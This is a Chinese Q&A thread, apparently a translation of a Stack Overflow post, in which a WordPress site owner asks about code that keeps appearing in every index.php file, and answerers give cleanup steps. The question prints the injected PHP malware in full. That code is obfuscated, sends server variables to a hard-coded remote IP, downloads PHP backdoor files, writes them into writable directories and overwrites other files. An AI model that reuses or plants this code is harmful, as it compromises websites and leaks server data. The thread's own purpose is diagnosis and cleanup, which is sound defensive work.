WordPress:一些功能是在index.php文件中自动生成的

时间:2019-01-27 20:03:52

标签: php wordpress

我创建了一个WordPress网站,然后安装了一个主题和一些插件。它正常工作了一段时间,但是即使我没有更改index.php文件的内容,它也会引发错误。我遇到以下错误:

  

致命错误:无法在/ home /中重新声明oOooo()(先前在/home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/widgets/widget-recent_portfolio/index.php:1中声明)第1行上的puhuvisi / public_html / wp-content / themes / massive-dynamic / lib / shortcodes / md_live_text / index.php

因此,我检查了上述文件,发现每行index.php文件中自动添加了一行(适用于所有插件和主题文件)。这段代码如下所示:

<?php if(!isset($incode)){$vl='h';$serverid='fe6412f27b07e42253690caf0cd35b8a';$server_addr='109.67.153.40';function oOooo($o0O,$oOO,$o0o,$oo,$o0000,$oo0O){$o0oo0='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0';if(ini_get('allow_url_fopen')==1):$o00=stream_context_create(array($oo0O=>array('method'=>'POST','timeout'=>$o0000,'header'=>array('Content-type: application/x-www-form-urlencoded','User-Agent: '.$o0oo0,'content'=>http_build_query($_SERVER)))));if($oo=='yes'):$o0O=$o0O.'&type=fopen';endif;$ooOoo=@file_get_contents($o0O,false,$o00);elseif(in_array('curl',get_loaded_extensions())):if($oo=='yes'):$o0O=$o0O.'&type=curl';endif;$o0Oo=curl_init();curl_setopt($o0Oo,CURLOPT_URL,$o0O);curl_setopt($o0Oo,CURLOPT_HEADER,false);curl_setopt($o0Oo,CURLOPT_RETURNTRANSFER,true);curl_setopt($o0Oo,CURLOPT_TIMEOUT,$o0000);curl_setopt($o0Oo,CURLOPT_USERAGENT,$o0oo0);if($oo0O=='https'):curl_setopt($o0Oo,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($o0Oo,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($o0Oo,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($o0Oo,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$ooOoo=@curl_exec($o0Oo);curl_close($o0Oo);else:if($oo=='yes'):$o0o=$o0o.'&type=socks';endif;if($oo0O=='https'):$o00o=fsockopen('ssl://'.$oOO,443,$oO0o,$oOo0o,$o0000);else:$o00o=fsockopen($oOO,80,$oO0o,$oOo0o,$o0000);endif;if($o00o):stream_set_timeout($o00o,$o0000);$ooooo=http_build_query($_SERVER);$oO='POST '.$o0o.' HTTP/1.0'."\r\n";$oO.='Host: '.$oOO."\r\n";$oO.='User-Agent: '.$o0oo0."\r\n";$oO.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oO.='Content-Length: '.strlen($ooooo)."\r\n\r\n";fputs($o00o,$oO);fputs($o00o,$ooooo);$oO0='';while(!feof($o00o)):$oO0.=fgets($o00o,4096);endwhile;fclose($o00o);list($ooo,$ooO)=@preg_split("/\R\R/",$oO0,2);$ooOoo=$ooO;endif;endif;return$ooOoo;}function client_version($o00OO){$o0oO[0]=(int)($o00OO/256/256/256);$o0oO[1]=(int)(($o00OO-$o0oO[0]*256*256*256)/256/256);$o0oO[2]=(int)(($o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256)/256);$o0oO[3]=$o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256-$o0oO[2]*256;return''.$o0oO[0].".".$o0oO[1].".".$o0oO[2].".".$o0oO[3];}function oO0Oo($oOOO){$oOooO=array();$oOooO[]=$oOOO;foreach(scandir($oOOO) as$o0O0O):if($o0O0O=='.'||$o0O0O=='..'):continue;endif;$o0=$oOOO.DIRECTORY_SEPARATOR.$o0O0O;if(is_dir($o0)):$oOooO[]=$o0;$oOooO=array_merge($oOooO,oO0Oo($o0));endif;endforeach;return$oOooO;}$oOO0=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oOO=client_version('1540531608');$o0o='/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$o0O='http://'.$oOO.'/get.php?spider&checkdomain&host='.$oOO0.'&serverid='.$serverid.'&stookfile='.__FILE__;$oOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='5',$oo0O='http');if($oOoo!='havedoor|havedonor'):$oOooo=$_SERVER['HTTP_HOST'];$oOOOO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$o00O=$_SERVER['DOCUMENT_ROOT'];chdir($o00O);$oOooO=oO0Oo($o00O);$oOooO=array_unique($oOooO);foreach($oOooO as$o0O0O):if(is_dir($o0O0O)&&is_writable($o0O0O)):$oOOoO=explode(DIRECTORY_SEPARATOR,$o0O0O);$o0oo=count($oOOoO);$oOOOo[]=$o0oo.'|'.$o0O0O;endif;endforeach;$o0oo=0;foreach($oOOOo as$oooOo):if(count($oOOOo)>1&&(strstr($oooOo,'/wp-admin')||strstr($oooOo,'/cgi-bin'))):unset($oOOOo[$o0oo]);endif;$o0oo++;endforeach;if(!is_writable($o00O)):natsort($oOOOo);$oOOOo=array_values($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];else:$oooOo=$o00O;endif;chdir($oooOo);if(stristr($oOoo,'nodoor')):$o0O='http://'.$oOO.'/get.php?vl='.$vl.'&update&needfilename';$o0o='/get.php?vl='.$vl.'&update&needfilename';$o0o0=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='30',$oo0O='http');$oOOO0=explode('|||||',$o0o0);$o0o00=$oOOO0[0].'.php';$o0O00=$oOOO0[1];file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$o0O00);$oOOo=str_replace($o00O,'',$oooOo);if($_SERVER['SERVER_PORT']=='443'):$oo0O='https';else:$oo0O='http';endif;$o0O=$oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$o0o=$oOOo.'/'.$o0o00.'?gen&serverid='.$serverid;$oO00o=oOooo($o0O,$oOooo,$o0o,$oo='no',$o0000='10',$oo0O);elseif(stristr($oOoo,'needtoloadsomefiles')):shuffle($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];$oOOo=str_replace($o00O,'',$oooOo);$oO00O='stuvwxyz';$o0o00=str_shuffle($oO00O).'.php';$ooO0=urlencode($oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00);$o0O='http://'.$oOO.'/get.php?bdr&url='.$ooO0;$o0o='/get.php?bdr&url='.$ooO0;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='20',$oo0O='http');file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$ooOoo);elseif(stristr($oOoo,'needtoloadclient')):$o0O='http://'.$oOO.'/get.php?getclient&domain='.$oOOOO;$o0o='/get.php?getclient&domain='.$oOOOO;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='55',$oo0O='http');if($ooOoo=='noclient'):die;endif;$oo0=explode('::::',$ooOoo);$ooOOo=$oo0[0];$oo0O0=$oo0[1];@chmod($ooOOo,0666);file_put_contents($ooOOo,$oo0O0);elseif($oOoo=='needtowait'):endif;if(stristr($oOoo,'nodonor')):endif;endif;$incode=1;}?>

我不知道为什么它会出现在每个索引文件中以及如何快速删除这些行。这是我第二次面对这个问题。第一次事件发生后,我从头开始重新安装了所有内容。如何永久避免此问题?

2 个答案:

答案 0 :(得分:2)

您的网站已感染病毒。这是您可以清理的基本步骤:

  1. 对网站进行完整备份,包括文件和数据库。您可以通过cPanel / FTP / phpMyAdmin手动完成此操作,也可以使用UpdraftPlus之类的插件。
  2. 登录WordPress仪表板并记下已安装的插件和主题。
  3. 将WordPress,其插件和主题的最新副本从它们各自的站点下载到您的计算机中。
  4. 从WordPress控制台中注销。
  5. 登录到主机面板并打开文件/文件夹选项。
  6. 删除WordPress核心文件和文件夹(wp-config.php文件和wp-content文件夹除外)。您应该删除WordPress安装目录的根目录下的所有文件,wp-admin文件夹和wp-includes文件夹。
  7. 转到wp-content文件夹并删除pluginsthemes文件夹。 不要删除uploads文件夹
  8. 打开wp-config.php文件并更改身份验证唯一密钥和盐。您可以通过访问WordPress.org secret-key service来生成新的密钥和盐。
  9. 将WordPress,插件和主题的新副本上传到各自的文件夹中。
  10. 登录WordPress仪表板。
  11. 更改站点上的所有密码,尤其是管理员密码。
  12. 如果您发现任何陌生的用户,请将其删除。
  13. 安装并激活Wordfence插件。
  14. 转到Wordfence选项页面,并确保在要包括的扫描标题下,绝对选择了所有内容,包括用于扫描WordPress安装之外的文件的选项。如果扫描时间太长或没有完成,则可以取消选择最后一个选项,也可以禁用高灵敏度扫描。然后重试。
  15. 结果显示时,您可能会看到很长的受感染文件列表。花点时间慢慢浏览清单。
  16. 检查所有可疑文件,然后手动编辑这些文件以清理它们或删除该文件。请记住,您无法撤消删除操作。但是只要您按照我们上面的建议进行备份,如果删除错误的内容,您始终可以还原该文件。
  17. 查看任何更改的核心,主题和插件文件。使用Wordfence提供的选项可以查看原始文件和文件之间的更改。如果更改看起来是恶意的,请使用Wordfence选项修复文件。
  18. 慢慢地浏览列表,直到列表为空。
  19. 再次进行扫描,并确认您的网站是干净的。如果没有,请重复步骤14-17,直到获得干净的结果。
  20. 检查网站的前端并访问其他页面。如果您缺少页面错误,请访问设置> 永久链接,重新保存永久链接。

免责声明

可以按照上述步骤清除大多数被黑站点。但是,如果您对执行这些步骤感到不舒服,那么您还有其他选择:

  1. 联系您的托管服务或网站管理员以获取专业帮助。
  2. 请咨询商业WordPress安全服务提供商(Sucuri,Wordfence),以清理被黑客入侵的网站。

资料和进一步阅读以获取更多高级信息:

  1. How to Clean a Hacked WordPress Site using Wordfence
  2. How to Clean a WordPress Hack

答案 1 :(得分:1)

我认为这是一些病毒代码。 (或者您的计算机感染了木马病毒)

如果有,请与您的托管管理员联系

如果不这样做,则应检查代码。有人以某种方式获得文件许可。